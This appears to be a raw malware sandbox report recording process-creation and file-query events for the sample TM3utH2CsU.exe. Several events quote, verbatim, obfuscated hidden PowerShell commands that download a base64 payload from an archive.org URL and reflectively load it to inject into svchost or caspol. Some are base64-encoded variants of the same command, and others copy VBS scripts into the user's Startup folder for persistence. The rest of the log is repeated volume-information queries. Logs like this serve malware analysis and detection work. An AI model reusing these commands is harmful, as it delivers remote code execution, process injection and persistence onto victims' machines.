Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\escrivan.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [system.io.file]::copy('c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\escrivan.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/detah'+'notev'+'.txt{1};{0'+'}base64co'+'ntent '+'='+' '+'(new-ob'+'ject sy'+'st'+'em.ne'+'t.w'+'ebclie'+'nt).'+'downl'+'oadst'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'ycon'+'ten'+'t ='+' '+'[system.convert]'+'::'+'fromba'+'se64string({0}base'+'64con'+'tent);{0}asse'+'mbl'+'y '+'='+' [reflection.as'+'s'+'embly]::'+'lo'+'ad({0}bina'+'rycontent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.gett'+'yp'+'e({1}r'+'unpe'+'.ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.getmethod({1}va'+'i{1}'+');{0}'+'m'+'e'+'th'+'od.in'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gj1k'+'s'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}c'+'a'+'spo'+'l{1}'+',{1'+'}{'+'1}))')-f [char]36,[char]39) \|iex"

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\Public\Documents\sys VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\Public\Documents\sys VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\Public\Documents\pow VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\Public\Documents\pow VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\Public\Documents\32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\Public\Documents\32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
